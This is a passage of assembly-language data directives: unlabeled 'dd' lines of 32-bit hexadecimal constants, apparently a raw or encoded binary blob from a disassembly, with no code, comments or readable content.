dd 5C10BD08h, 0C006C21h, 94AA25D2h, 0E6DCBFh, 0E59D9195h dd 8447D5A5h, 0E1809C13h, 1586FAAh, 6C98F7FDh, 5E2FDF95h dd 6F417828h, 8D09AEF6h, 37572561h, 9F1B91E2h, 3DC8AC00h dd 0A16D49B1h, 0B03995CBh, 0A040358h, 0A8526050h, 0F158CB2Fh dd 82FEADC2h, 0CFBF5569h, 0B52BD101h, 8174F1B1h, 0D96CA217h dd 0F6F8007Bh, 0ECA5A2F3h, 0E57FE209h, 0AF999860h, 0DAFA38A8h dd 60C45C2Ch, 0BB3F27CAh, 2AD75307h, 805B219Fh, 716D6826h dd 33234873h, 0B024F812h, 723D9287h, 16DDCA6Ch, 71A07376h dd 0B809D9FAh, 798BEB80h, 78D0A52Ch, 1F4E912h, 4AA5BFE4h dd 127E728h, 0F9AEE781h, 5F0A34EAh, 0A8A076B6h, 1C5C7CA2h dd 54FF2D1Ch, 3A0255FAh, 5E835835h, 4B76250Ah, 0DE842CF6h dd 0C1E400DFh, 800FD568h, 0F90D21BDh, 0B22B3152h, 3B535103h dd 3FC9FEDBh, 1825A582h, 12823B57h, 0B80AA918h, 24038F88h dd 5000076Dh, 59B7FBFh, 0CD163D5Eh, 643C596Fh, 0C409E100h dd 3A7F51BBh, 0C6F94025h, 20605AF8h, 300D4BA3h, 72BFB00h dd 3A8B8D25h, 2941BD95h, 0DF5E020Bh, 75451Ah, 68FC615Ah dd 693F16CAh, 0B7248C70h, 0F72BE49h, 0F2763C35h, 3080149Bh dd 23B1979Fh, 0B4C4F612h, 46B95F12h, 0F3DE8A12h, 0F6C74B20h dd 0ED48224h, 266EFBh, 0DE942BCAh, 0FCA46258h, 0EFE16049h dd 30F15BBh, 56B9414Ah, 28C19ACh, 9AC935B5h, 47743E26h dd 9853EE40h, 2FF7AD8h, 723B6FC2h, 0E87E54CFh, 3D33A440h dd 0BD7003Ah, 93237C17h, 78952694h, 1D0120FAh, 615F5B16h dd 80810BDBh, 2F5AC06Eh, 982E0E2Dh, 35209DE1h, 27E19811h dd 0B5C0305h, 0E9113071h, 0D89E6F46h, 0FDD214C2h, 2505EC75h dd 9D7BD2Bh, 5F407352h, 0D8807E21h, 0C825A8A0h, 48CA09BCh dd 3757CB28h, 8363024Fh, 585E714Dh, 0C4141C51h, 13CAEBC1h dd 0B5F99500h, 0A9827BB7h, 0CE7F2500h, 0FC178BE8h, 4ABF0A12h dd 59FFBCBBh, 7BA1ACF1h, 5628618Bh, 11FDCB0Ch, 0BF9882Eh dd 0C43F71F9h, 0C99FAEBEh, 26423780h, 0F65E7816h, 0DAEA8E85h dd 0AAD8D79Fh, 0EFC602ABh, 0AE296CECh, 9E009F66h, 0E26F5313h dd 99708B0h, 8B109660h, 558DCA7Fh, 0CBA19002h, 0F964045Eh dd 64D688BCh, 1BC7C076h, 6B00A6DCh, 505B5696h, 3CC484BBh dd 0A6D15426h, 742B08C5h, 41FDC132h, 0EE23A1Eh, 0BF6BD2h dd 3D706EF0h, 5B372EA9h, 0D30CC65Dh, 5A219FBEh, 0D737EF81h dd 0E7A779B6h, 9FF63376h, 31835FD1h, 4AE0214h, 9BF0D662h dd 4D9DEB37h, 27EB6A2Eh, 89035D09h, 0DC489766h, 49605B25h dd 0C90FE3h, 3518A3Ch, 0ECB36F0Ah, 293DF004h, 0D3BCFC1Dh dd 4E7BBED0h, 0B8DDB213h, 219448E1h, 0AE317D13h, 0F1BF2930h dd 987395EBh, 5BF610D8h, 0C9A9ED5Bh, 0A7B57BFBh, 0D2006135h dd 0B0877283h, 0D79212A7h, 12D0F833h, 0FBB8B97Ah, 0FF9909AAh dd 42E62CE3h, 1EC72580h, 185953D3h, 4F0B5C18h, 0FDD59E60h dd 0BD0BAA18h, 0B1F8154Bh, 903152A1h, 0CC51241Ah, 88028B30h dd 0DBBABFB3h, 0C1211A97h, 33A5CDF0h, 0CE25AFDCh, 32F5250Ch dd 0F4B48DEEh, 79F27709h, 5B644679h, 0F2BB797h, 0CEA02A59h dd 71BCE59Ah, 0D6C4F17Bh, 9644201Dh, 5B86B252h, 0FF010ABCh dd 0BEEA36D7h, 1D352A6Bh dd 0CCEA3784h, 0EC129014h, 28FAA21Fh, 891F6BB8h, 62748A48h dd 143709BAh, 46DEFC5Ch, 0C8C2001Dh, 0A1769463h, 538F12D6h dd 58B3F3ABh, 6A80DFB3h, 0BA4F56DEh, 5B54023Fh, 5F33CB7Dh dd 9908A565h, 0C4B70907h, 6DEBF05Ch, 990940FAh, 15276A14h dd 81251057h, 0D18D09BBh, 16D7AACEh, 6A44453Ch, 63874304h dd 0F6D3A9BDh, 0D8A6A09Ah, 1E85B4Dh, 9589DEECh, 0C64124ADh dd 956CBFh, 8A67B0C7h, 0B3799AEAh, 0C2989697h, 50E9FF46h dd 801C3DD7h, 9A19C9D2h, 0E317B2D6h, 1A069DF4h, 3BED018Dh dd 49A60953h, 615B8988h, 0E2B013DDh, 149F572Fh, 5B801D91h dd 0EBFFD1ACh, 21D3A604h, 28183BFh, 9002055h, 2F5AFDB5h dd 7E623CE7h, 90040BA1h, 7F808C92h, 4F003D14h, 37BE1E79h dd 0A896Dh, 5F9C52Dh, 0A0B182B3h, 315CC998h, 33CC7AC4h dd 48295ABBh, 5000B326h, 0FDE39DBFh, 9E909075h, 0F98205EAh dd 0AC4700DFh, 0DBFF811Dh, 6F92AF00h, 10CA744Bh, 0D4BB1EE2h dd 9D23C441h, 5FBCF0BDh, 479B6A4Bh, 4B5182C0h, 0F61E4D26h dd 0D613B6FEh, 890FCE43h, 572D0404h, 0AE5B03B7h, 2881B444h dd 42960F0Fh, 49BABF39h, 13DE3FDCh, 0E2A9DA9Dh, 0BA550182h dd 0F3213FEDh, 0AA414B25h, 6E2B05C0h, 0CF1902F3h, 0FCEDC475h dd 0F5BB6021h, 224873FDh, 9D1C22D1h, 0DD0BAAD6h, 1D21982Fh dd 0E57E16h, 82B194D4h, 0AE4D6EB7h, 0E4E64275h, 0C690612Ch dd 51251111h, 0CE508E10h, 0AC6B7B00h, 3A4EAE01h, 0E55B4AFAh dd 0E3E0ADB8h, 0E085FCA9h, 9BAE5452h, 23CDD75Eh, 809B02Fh dd 79E7739Dh, 0E3431916h, 0B8E8AD27h, 9069AA93h, 91B5C900h dd 0A0C5B532h, 4F601170h, 0B2CEC140h, 0C7B43BB1h, 0DCA4BED1h dd 34CC2B00h, 93D90A2h, 0E96D5E68h, 0ED9D847Ch, 8807CC88h dd 9F0492FFh, 0D583ABD9h, 5BC0CCEAh, 5E13149Dh, 32948D86h dd 4D022739h, 7D60C1C9h, 2046EF2h, 80031E61h, 0E8BCC7C0h dd 0EFB71613h, 0DD21EBBCh, 2EB7ADh, 0A43D4D77h, 0B5A1ADE6h dd 0E4E63BD9h, 8151B9B4h, 0FE97953h, 10F9CE2Bh, 5130BAC9h dd 5A1B5E4h, 0B45B6180h, 357CDCDDh, 0E848EF05h, 82AA2561h dd 0CEF51C24h, 44FBB0E4h, 811F5008h, 16F849D7h, 0EAB85B7Fh dd 9775F83Eh, 80845959h, 0DBBDFDD3h, 0AFAB297h, 0FCCD4951h dd 7BFE8A09h, 8DADBDADh, 8012E35Ah, 98AB9BCFh, 9D190B74h dd 0CB2307C1h, 0A924E07Eh, 0E65DFAAAh, 9817FDBh, 997F85Ah dd 16083E7Bh, 0BB660101h, 8AB0B1FDh, 0E1ADBD7Ah, 84405CA7h dd 1647B8D3h, 5708A1C2h, 9F35899h, 0CE063A14h, 228D0B39h dd 8B270287h, 42435ED9h, 565E1211h, 0A8DB81C0h, 353F2C57h dd 54C225EFh, 80614E56h, 102FBAF7h, 0F110935Bh, 0C82B0002h dd 7CDBDBFh, 0D18B030Ah, 10919D29h, 71A0ED2Dh, 4E1E91F3h dd 8C1017AFh, 30000F06h, 0E943B70Dh, 0B2B5155Dh, 6076B2Bh dd 24974DCCh, 0F7541A55h, 5F209918h, 82A8AD9Dh, 23DD60E9h dd 0A578FC19h, 0DC62B57Eh, 3D2FF8Dh, 0EC25175Ch, 2B424544h dd 3D3B1120h, 2A00AF2h, 161FA583h, 1AFB2FEh, 7AD72360h dd 0F3707210h, 0A8960288h, 0C72A6F4Bh, 40199AFDh, 8214BD16h dd 8911DB62h, 0C04AF329h, 9DA083ACh, 0CDBD4938h, 0DD62E022h dd 53248C51h, 0EA253756h, 0EF3D7559h, 4E70C82Dh, 1E0E2D83h dd 93D6955Ch, 61738143h, 6E103CB9h, 0C280AD9Eh, 8BDB709Ch dd 0D0C4F94Bh, 64119180h, 0BDECED5Ch, 40F9D95h, 51BB1781h dd 90B36A69h, 5600E542h, 2EF7E3A3h, 3A00AEF5h, 6216C0DAh dd 4A2FFC02h, 0E04EF7BAh, 97D1A80Ch, 8BE6EB6h, 0A04613D4h dd 8342BE16h, 0F5880DFCh, 84805D3Dh, 73620118h, 4AF82598h dd 0B5D90110h, 5F879700h, 1549BFCFh, 0C93F77B7h, 497BDA7Ah dd 5F960A0Eh, 0A712563h, 805A1F7Ah, 4C559BA5h, 0CB13896Ch dd 42E6FC4Fh, 15413CE2h, 48B81489h, 0E3A8B8A7h, 0EC24F525h dd 18899D27h, 916CB555h, 0CBC08019h, 5B1E3E94h, 0C417A115h dd 0E152FFF7h, 0A1BD09B5h, 70F15C31h, 0BD95042Bh, 6BA2022Fh dd 4E60B315h, 1C970551h, 41442EDh, 0E53DF381h, 0CCA2EEB8h dd 25952921h, 0E996AFACh, 4D95D058h, 0DEFEC0C4h, 0F217A002h dd 885244E5h, 0E978DDB1h, 46BE1F80h, 0F00A015h, 0E3278E4Ch dd 5494FB9Bh, 4BF0AC5Bh, 0D0D492FAh, 0DA7FDF11h, 0C01DC8DEh dd 0E34E49E0h, 0CFF13002h, 0E9217CDDh, 0C1042B78h, 2F183D58h dd 0F1040174h, 968390FAh, 0ABEA5FBh, 45040Fh, 318EE781h dd 0BB00542Ah, 4AA61B23h, 25755A68h, 0C2702466h, 11C3764Ah dd 0DC79ABA5h, 0A7E066F6h, 4031CF3Eh, 9C586E3h, 2EBF8A2Bh dd 0EB621685h, 25905CD6h, 4F6E6F4h, 71FB26D1h, 90ADB8F5h dd 241D1297h, 204AADE7h, 51B4D004h, 4E7DCCFAh, 0B4855B4Bh dd 9B08AF7h, 0B3019FACh, 0BC12739Ch, 122EF574h, 0ECAAA9B7h dd 0D5EE0DB1h, 2B4E88F2h, 0D1E9B912h, 0D0001BE8h, 0D28372A7h dd 15B75662h, 0BE895F82h, 0E6E82FE9h, 0FB509C4Fh, 799D010Bh dd 0F837D525h, 547130A7h, 152B00F1h, 0FBB08BF3h, 6609D5ABh dd 82D937BFh, 75286118h, 0CF9445CCh, 33FC00D4h, 66605015h dd 0FF3D82B9h, 2461AFB4h, 92278622h, 29293D8Dh, 52E1567Ch dd 0D7A83598h, 7BE0A91Fh, 30FE81D6h, 5BDA8A43h, 3FAE6800h dd 5051BD45h, 74DBBF52h, 0C3251ACh, 0B980D75Fh, 42D9C451h dd 1B8379Dh, 2A7A07Dh, 0EDD1424Fh, 8D0B96D4h, 76BFFD85h dd 0CCEEFC93h, 461EBF50h, 5056F3F0h, 0FC0011A2h, 2CB086FAh dd 0AC00B985h, 0D3CB5DAFh, 1FB56AB4h, 17DD1DAh, 9D239074h dd 0DCF22A2Dh, 7A45A096h, 61FCB416h, 0ACB8F0BDh, 0B17B82Ch dd 5248F90Ch, 7D2605F7h, 0EAF18D29h, 6A5E0ADEh, 5175016Bh dd 0F9BAC554h, 50CB282Bh, 0C2A92AD2h, 0AF0046BCh, 0A08C7017h dd 2F5F501Ch, 49BD42E9h, 6416BA80h, 0FC2912EEh, 0C54B4E5Ch dd 0B23AAB5Ch, 0A9F9BFF0h, 661AF801h, 616403BEh, 9F57DB2Ah dd 0C2FDBE45h, 232564A8h, 0FC122A71h, 2A88DAE2h, 0CB0B608Fh dd 8E265429h, 3110C58Dh, 10850E61h, 9CF382Fh, 0DBAE42D2h dd 22A1809Eh, 2DB46EACh, 7B905287h, 8507E3F9h, 0A18C1FB6h dd 0C8C48323h, 0E6E1BA6h, 0BF52C069h, 24A92581h, 49F26F5Fh dd 0DD4AFF91h, 0A36A2AD9h, 662D7E0Bh, 49595389h, 7827DB25h dd 8912C0D3h, 63BDF5C7h, 0A06FB6D2h, 112CB16h, 41A6F984h dd 30DB6409h, 2C4BFDEBh, 12935EF9h, 84151D04h, 0AE32F9BCh dd 0DA472A6Bh, 0DBA38E00h, 3250583h, 9B25C6B8h, 8D17EE49h dd 0F06062B6h, 46D6FC5Ch, 617F1618h, 0B63048E1h, 0A281634Bh dd 0CBA9CC92h, 4226D097h, 5A4C73B5h, 255B55h, 0B529FE4Ch dd 739D2A05h, 0EE8B93BAh, 0C5CD8A74h, 129C0530h, 12102F39h dd 79CDB12Dh, 915B830h, 0A370D4DCh, 0F4C5E970h, 1DBE441Eh dd 817B65EEh, 276120B1h, 19006F66h, 0BE8F8BE0h, 0EF0042B6h dd 1A8292E8h, 279D872h, 0EACB4E61h, 0C25C5B71h, 3F09AB68h dd 344F743Bh, 8D8604BEh, 0C2C8AD1Dh, 7F01CF80h, 805FC232h dd 440B4BEDh, 0DF53922Ch, 1EAF549Ch, 3EB3608Bh, 655561BAh dd 117B2570h, 6C89CE51h, 8D713C96h, 0DEEA5644h, 0B25EC1C7h dd 23F87F7Bh, 0A9D4BBDh, 1497967Eh, 0BF03D26Bh, 0ACB5783h dd 0C0F1DBDCh, 0E3498F2Ch, 0DDB0915h, 0F75CDE8Bh, 22A70055h dd 54680A82h, 7C342EE9h, 1CC04EC7h, 328B6EDAh, 6119419Dh dd 49F015DDh, 0C4168B5Dh dd 4DD497EBh, 0B0CBBC60h, 698225BBh, 0F6B39FC4h, 0B73AD6D1h dd 23F696D0h, 0F398D7A3h, 0FB096DE9h, 0B4C5B6h, 8B01EF2Bh dd 0D459B5FAh, 95297154h, 0C65A7944h, 0A1A08BE7h, 0C5E8D0Fh dd 3D6CAB29h, 9B09EED3h, 0D09ED518h, 0F9E6909Dh, 1E87E38h dd 0AD9E6804h, 6A39DF43h, 40130F4h, 0E9C0A646h, 59E8B8D1h dd 70BCEAh, 0F16911EBh, 0E2DC9B26h, 0B7C18B2Dh, 0F76900E8h dd 0DE6CABE4h, 0EC7EA032h, 9602293Dh, 0CD5C01B1h, 0B880FE1h dd 45899448h, 13083C05h, 0A3088AB3h, 45428109h, 89049D16h dd 55268322h, 0D9BD6FA1h, 6920090Bh, 663C9C87h, 0E11752C9h dd 0FB12E8EBh, 0C7C0E6DBh, 7F118962h, 0D3CD1A05h, 60ECFE36h dd 6965B083h, 8C9CC0E4h, 669757E7h, 567C609Dh, 0A622E3E0h dd 2DE6241Fh, 0BC4B97C2h, 0D481577Fh, 7749CA3Dh, 0D531A01Bh dd 1749092Bh, 0AA70A49Ah, 0DC59D697h, 0E880EBBFh, 27593D60h dd 4C055390h, 218CFB50h, 97F87E8Bh, 0F1700E7Bh, 99D1093Eh dd 57482CCh, 145B27F4h, 6A2111F5h, 0F246E66Bh, 2064FDE4h dd 7AD03809h, 0AD845D43h, 0B5B3B81Dh, 0E06AAFh, 12E2B1F4h dd 13395415h, 4B93B8Ch, 0B903CD41h, 9589C2A6h, 4A7472E9h dd 0F636ED1h, 407CD906h, 18297ED1h, 9EFC4CACh, 0A8DA0F39h dd 0CBB7A044h, 0FFD5096Dh, 89557BCFh, 4E7F5933h, 0F814F937h dd 0F6DF01DAh, 6AF90A58h, 0F2DD6102h, 0E8615E42h, 9AF2931h dd 750BFDBFh, 30815EBDh, 870F233Ch, 765B29C2h, 50A053AFh dd 4B25CC70h, 40F37053h, 74AE92Eh, 47846CF3h, 16009CAh dd 615BEAA0h, 0D74B206Bh, 477892F7h, 0B6562702h, 5D81C7AAh dd 611DF490h, 0C5FBCA00h, 0F11F91A7h, 2249009Ch, 0C8E10984h dd 1A975F58h, 9D50F879h, 2D4751Ah, 0D3B73184h, 0C84A53ECh dd 22000268h, 5F4E564Fh, 258D2990h, 5C792489h, 972C7B4Bh dd 0A55402DEh, 0EED54523h, 86BF040Eh, 0B8652A5Ah, 54B8D67Fh dd 0C836809Eh, 0A6EF2097h, 0B54A6F62h, 815B0210h, 370E74C0h dd 0FF5B6AE6h, 7800686Eh, 0FB16BB14h, 0D3E42D81h, 3FA6BE65h dd 2C85A9C1h, 0CB091969h, 0B1737714h, 0C24B1211h, 6055B0DFh dd 8002F136h, 95F070E6h, 9012114Ah, 166C48ABh, 0E16008A6h dd 26C438Ch, 939A4496h, 0D182ECBDh, 5F04090Dh, 0D921C7B9h dd 0A8048E08h, 6389258Bh, 0C404BDC3h, 4AC42D47h, 0C7C0BDB8h dd 4F5C9B56h, 5CF99283h, 0FB6013BFh, 0EB0CDD0Ch, 728812BAh dd 2BC2E161h, 0EE0387C8h, 8DDC007Ch, 4EC0625Ch, 51049434h dd 0C82B7065h, 8D8210BDh, 8B02212Dh, 20F17DD1h, 2777E90Dh dd 124CD62h, 4A116E1Eh, 0D7F5C9C2h, 18242199h, 9D018812h dd 49222D42h, 2C8C0F28h, 0C28DFC4Bh, 40F13760h, 9D120329h dd 0C8E6125Dh, 0BF3B2722h, 2F28127Fh, 112C3E6h, 6FD7FE95h dd 5028346Ah, 57A452F1h, 564C42DFh, 48D9C2ADh, 0FCE78100h dd 4F577721h, 0D66BBC6Ah, 8C3420ABh, 8E3AA7CCh, 799DCB48h dd 0D8A8B46Dh, 0B9F8607Dh, 3D100825h, 0C650145Fh, 2052D10h dd 0F5B682BFh, 0D59F894Ch, 0CE8329B7h, 0F8A81B18h, 160668F7h dd 0ACFC1CD7h, 0C02B1DB0h, 0A71D9101h, 9F7ABA77h, 896D8149h dd 1725299Dh, 0F461B77Ah, 210005B6h, 5FB4A632h, 0F39F5852h dd 7EE70CFh, 60914E00h, 0F9675CC0h, 0F7884B0Dh, 1680B034h dd 589B0122h, 2698E179h, 1BCD3E0Ch, 0FC37B92Bh, 71871DE9h dd 72F6042Ah, 4AC0B9BCh, 418F47DEh, 0A106BBC1h, 2B4B65C6h dd 0F65BE42Fh, 0FCA2B0B7h, 0F36DBD4Fh, 0C01F5AC0h, 11B95865h dd 3A1BEB09h, 4249E271h, 0E25BEDEBh, 336019DBh, 8BC2269h dd 118BD5A7h, 46D45D5Eh, 0E6612514h, 10315C1Eh, 9D40093Bh dd 1DD92BEBh, 98C00E5Ah, 0BB918B52h, 9E6B7D12h, 9D8C1EF2h dd 4FB80153h, 0FF8E1F4Bh, 0BF27A530h, 0EE25892Dh, 3BFFC542h dd 2B3A61C5h, 22E16A13h, 652E20F1h, 0A8F7ADFEh, 55C1097Bh dd 0F970152Ah, 0DC0A96h, 88A506F7h, 6284CD85h, 81D6581Fh dd 0E0FB4302h, 920C5E0Bh, 0FE7BAAE8h, 505B4825h, 0A9844ABBh dd 0C836DAAAh, 8040C014h, 70BDC6DBh, 1D086490h, 0DA39AC51h dd 8AC07744h, 0DB6F99Dh, 0C8BA2344h, 6801F54Dh, 533369F1h dd 9449890Fh, 4A17FE91h, 19C4CFCh, 0F55A66D9h, 0A6409C32h dd 6198F280h, 25E6C3BFh, 3FE08DC2h, 2C276A0Eh, 0BE7AC653h dd 15BFC1FDh, 12E66A79h, 0E6B21CB2h, 0B0DC6BC0h, 9A74A23Bh dd 7D546505h, 0BD0BA968h, 1348914Ah, 24C6A5E0h, 0BB9E9A0h dd 79F85B95h, 2FB21816h, 0CAE12EE9h, 8B600133h, 40FFF27Fh dd 9DC959C6h, 892A7961h, 0EB6476B3h, 7C35A607h, 47F0DAD9h dd 0BDBEBA6Ch, 82100473h, 0C52E2D94h, 98D74983h, 6E6305h dd 1DCB07E1h, 3F2B13D6h, 3CEC9F04h, 97E838DFh, 0E402BA80h dd 2900F714h, 6E83EE37h, 0BF88D2C1h, 5FE19FE0h, 126B5B9Dh dd 3ED0E1F8h, 4642D98Dh, 40601188h, 8BB77DF2h, 0BE94D84Bh dd 32E054F6h, 4875CBB4h, 6F82B901h, 2F45BD01h, 4EB68B6Bh dd 0D580289Ah, 521E45FAh, 89CEC112h, 68D920BEh, 0D7027E14h dd 43B7515Ch, 0EB6F485Bh, 98C87B7Dh, 0BD8D4E71h, 0E2C2FD1Ch dd 0F2FA79h, 4CA2581Eh, 94AE27D3h, 0B2E1131Dh, 0DC840701h dd 126B90F5h, 0F65A8882h, 0F49D4602h, 41DA8FE7h, 0E33E8D10h dd 7AE95E98h, 0B6D0A402h, 82D75A7Ch, 74905F5Fh, 0C1BFDC65h dd 71DA3715h, 84DB008Ch, 5E6BBD60h, 0D641572Fh, 0B95F1268h dd 0F6E9D2EBh, 0E90031A8h, 1A7075E3h, 9DD445B8h, 0F332B870h dd 5C5F809Bh, 2BFC59F0h, 0B209CB29h, 0C8614D47h, 138122E9h dd 95ABBB56h, 2B5BF9CCh, 7DE97A8Eh, 0B38A88Eh, 98DD53A9h dd 5901C559h, 0AC1D99B0h, 16B4F6F4h, 0AF9D036Fh, 0B35B2742h dd 50935C24h, 7195050Eh, 0D901C7F4h, 1BD05B7Bh, 836B00B0h dd 0B6A87B15h, 0BF00FC84h, 79279195h, 281F860h, 0B4AD0BD8h dd 0CD5F612Bh, 631B6439h, 6EE09F1Ah, 4A47413Ch, 12221FF0h dd 0C69AAAD3h, 0C7A26097h, 0FB171280h, 31E8794Dh, 5312EF4Eh dd 0AD01C4EAh, 3D9EEC3Bh, 830BBDC9h, 3557E3FAh, 60149248h dd 0BB9692EDh, 7C07E876h, 0CCB35056h, 153F889Ah, 4AB65189h dd 877AAFh, 15168D3Eh, 4BB3DF8Bh, 2B919DEDh, 620B3A6Ah dd 0E40E6886h, 5F253248h, 0D1BDBD18h, 0C0F7115Ah, 1D229C58h dd 803979B7h, 0FF2EA1DEh, 0BC25C56Eh, 0DC80D751h, 1D68D90Ah dd 4004A572h, 61CA8BA1h, 18AC99B9h, 4C213C8Ch, 0B71279BAh dd 498DEB15h, 87294341h, 18AC0E39h, 2873058Ch, 0FE9FD14Ch dd 0A2BDDA83h, 45F0B02h, 0B9160B23h, 0BC7E593Fh, 9A9E125Fh dd 7294AB8Bh, 0A85EBFACh, 2A7A55E7h, 14C887DAh, 8C02B0C5h dd 5CB165E3h, 99D769BDh, 0B93B6A4Ch, 7580B835h, 1700091h dd 0D122648Ah, 9412B4BBh, 98AA369Dh, 5CFADBB6h, 0DDE13297h dd 0D19F9CE4h, 13601F52h, 61A082CBh, 0E80E91D7h, 0F9266D40h dd 0F8AB07E0h, 40DDF3E7h, 9F56AED9h, 191FBD70h, 3492C2D3h dd 7C6460F1h, 0B5519D5Bh, 46600454h, 0BF5107D7h, 0D90034E2h dd 57006D8h, 0FD006FF4h, 0E1738149h, 974D5212h, 1D9134B5h dd 97323880h, 61EDF2Ah, 11D2ADDDh, 8A4B3AACh, 0F390273Ch dd 0F06AD881h, 2F68AB02h, 55A40F88h, 0A619EA10h, 1F4FE100h dd 0E60716AFh, 37C3009Eh, 0CF444D8h, 0E84A22DAh, 5FC43CFBh dd 565C96E2h, 4C981725h, 0BF831A12h, 0C1B2F453h, 36B79627h dd 0C929861Fh, 0ABF9B380h dd 3873FE3h, 997C7577h, 73B8CBC1h, 0B848B72Fh, 0BE9F5A06h dd 1268D882h, 2F2D79C8h, 0DEDF7E95h, 753A6B07h, 0D9CB7E41h dd 0EE299280h, 60EB9A13h, 27F93757h, 78E9640Bh, 895AD953h dd 37DE0F6Ah, 4666C27h, 0B04652BBh, 4F80BC25h, 7B1C7AAFh dd 6075530Eh, 0C4FCF284h, 358B0BD2h, 0BF12CC72h, 95F2D06Ch dd 79A75A88h, 7C7D0094h, 11598741h, 77CDAF4Bh, 95B87910h dd 0E30B00F3h, 7A1299DFh, 0E50E690Dh, 7F657289h, 64A959D2h dd 0C667B70Bh, 63472C4Fh, 0E990C7C0h, 0F56D2CB6h, 9BADBA2Ah dd 75E9D179h, 4E0FD4B5h, 387520A3h, 98DF90F4h, 19352053h dd 5CF3E92Dh, 0EE4D2F2Dh, 4D7100CEh, 51DBF07h, 8B439177h dd 0E482A6C1h, 0FE0175EFh, 0B080D337h, 9707B950h, 9D897698h dd 2E832EBh, 811BDFBBh, 0F670567Ch, 0E8080B17h, 85E460EBh dd 95880981h, 0E2245A49h, 9F95FB1h, 16FE8Dh, 0AD4217EAh dd 43B06861h, 877A49DAh, 12217436h, 0F77CC7AAh, 9016C815h dd 0CB2330BBh, 8B043AB9h, 0A9E54939h, 61C1B581h, 0D6E3022Bh dd 2BCD90F0h, 0CB46FCE0h, 0ACA50262h, 1DF1BD03h, 3BB36883h dd 8D010804h, 6FAE119Dh, 1D2385h, 0A7E527B0h, 710934F1h dd 5CFFCB59h, 24CDEB72h, 60DBE240h, 0F6C114AAh, 0D80FBF9Ah dd 975DD1FFh, 0CCB0248Dh, 81005D2Ah, 7D20953Fh, 7BAA32h dd 0B011A037h, 0DF217341h, 3FC3775Eh, 6163D9E7h, 0B7D4282Eh dd 0CF6ABBEh, 0ADDF8058h, 6A2FDEACh, 0C0AACD02h, 0ECC95FB1h dd 2EEAC609h, 1C46F172h, 52204344h, 2DF80923h, 0F204D149h dd 6050834Ch, 0CF205FB9h, 7D8261F0h, 13D42B0Bh, 199758DEh dd 0F64E1200h, 0DBB70F79h, 7609BA97h, 3707D4EDh, 4076958Dh dd 16E9AA11h, 4D06382Fh, 21AFAD90h, 8E6F549h, 23C1B702h dd 0F709E19Dh, 0D140FDEFh, 1638ABA0h, 946DAh, 0F52ADB61h dd 739D073Ch, 181459B1h, 0E8906441h, 0E5BD4207h, 0C25DD85h dd 7AA2AE57h, 0E1CA5B38h, 0C9B628C5h, 0CF47791Dh, 0F4AF0CC8h dd 780269D4h, 4A5E2A0Dh, 90D78150h, 1AF22D26h, 1559587Bh dd 60137918h, 33B6FF6Ah, 779671E0h, 78D93A00h, 2D63EF23h dd 4F0FE260h, 4CA84h, 0D68D7E4Dh, 77D2FC3h, 2EADCB77h dd 66D360B3h, 432532ACh, 6290FFBAh, 955C6A94h, 0B165076Fh dd 4112F901h, 9D6E781Ah, 93EE7F4h, 57260995h, 1144AA94h dd 0A2C33981h, 0B0148D8Bh, 0B680F55Ch, 0B770E65Bh, 400BB6EEh dd 0D1339884h, 74A0B400h, 9D0357C9h, 2FC49AF1h, 845E5F5Bh dd 0D16E7C42h, 0BD0D00F5h, 0CEAF47B6h, 7732581Dh, 19B019D7h dd 0E43FD218h, 0FC8AC493h, 0B8BD3466h, 1456318Fh, 0EA04078Dh dd 51004EB2h, 0A9F5B3BBh, 7ABD5B26h, 4FD3108Ch, 2B08934Ah dd 8FC22521h, 2228AC8Eh, 0A868F430h, 2B4E12F9h, 49DA9C8h dd 7BE9FCD1h, 0D700AFE2h, 89BF751Dh, 7C5C195Fh, 0B7042CD8h dd 4A06DF66h, 35A8BDF8h, 20AEE49Dh, 92F381A5h, 6A881216h dd 0E279BE09h, 9E5B5505h, 2CF16A30h, 0E9731218h, 0BD97373Ah dd 8C602E33h, 97044D9Dh, 4D1F86B1h, 2BD42FA5h, 0F98987B9h dd 260A708h, 22E1B509h, 0F62B9457h, 615E9F58h, 0A3E327DEh dd 0F5AC9790h, 3A1FF40Eh, 5E516131h, 0FBDC89BDh, 957D02D5h dd 0E5C24E66h, 4186CFF7h, 3F4595F2h, 8D4B0CB3h, 806278C2h dd 0A4B75839h, 402F0F90h, 0A5C29883h, 8B84EF3Ah, 5F6C9011h dd 0F70C9B9h, 0DE119Eh, 2A1BE2B0h, 950265FBh, 0EF1155Bh dd 42BC1C2Eh, 719DF1BBh, 8DA202FDh, 0C02B032Fh, 92ED8872h dd 75E6D211h, 871FFBE5h, 7FAE1753h, 1A23EEh, 919802A6h dd 0EE13450Ah, 39B2D88Ah, 4B7C79h, 6FB5A1C7h, 0C8C389F4h dd 144EFA71h, 30E04BB6h, 0A401BFECh, 43025398h, 0B2E0664Ah dd 95209C2h, 9ADCC19Dh, 80BCC4A5h, 9F325DA0h, 89E054Eh dd 5578E609h, 6C4915EDh, 0CF910F08h, 41A9D77Dh, 46767679h dd 2A03E14h, 0CC2BBBF7h, 80A1B73Eh, 0B7F0863Ah, 0A7E4D64Ch dd 0BB660E04h, 7CBC74DEh, 4E5E93A2h, 89EA1CF6h, 9DC96A85h dd 0ECBF78B1h, 6AE1B81Eh, 9D2B618Dh, 0DF735A84h, 0BE742F02h dd 0E9FD41CDh, 0BD8D2910h, 86342FE9h, 8FA8C5BDh, 0CC0E64FEh dd 0A490939Fh, 0C6C1BAB0h, 0CE2B32F5h, 63E732ACh, 2D91DC51h dd 9071E0A9h, 156ED44h, 0AA1F26CBh, 91282F68h, 0F72FE9A4h dd 33DFA007h, 0B4BC628Eh, 0F60B28B5h, 0F1F89239h, 0E02E76AFh dd 5A3792Ah, 0EA68C0ECh, 80E4B870h, 0D9C3A8DEh, 2585F817h dd 0C0E25797h, 8873825Bh, 25807597h, 2E926CCBh, 0F90025C4h dd 5031E521h, 4B0FED8Ah, 0FCC8D233h, 7681F524h, 0B63A7715h dd 0D4B52D83h, 2AB7895Eh, 8085B379h, 0C48068DBh, 4FEC643Dh dd 0AEA358h, 0A42196A3h, 0AAA0CAh, 0BEAB4E81h, 8FA84A3Ah dd 45BF6EC2h, 0FAF95D01h, 1B14EF2h, 93D0E77Fh, 9EA130B3h dd 6A9371C2h, 4AF330A6h, 5BDAD003h, 9B6830FCh, 56D6C160h dd 0E7695C8Fh, 3B081ACh, 2947A312h, 0FD45288h, 0ACD3C39Ah dd 32FDEE61h, 6136D82Ah, 259CAD02h, 56684FF4h, 0BD3360DEh dd 7B952FC9h, 2702AFB1h, 0B4021CDDh, 45E05771h, 460785A3h dd 1BBE91Dh, 47B7570Bh, 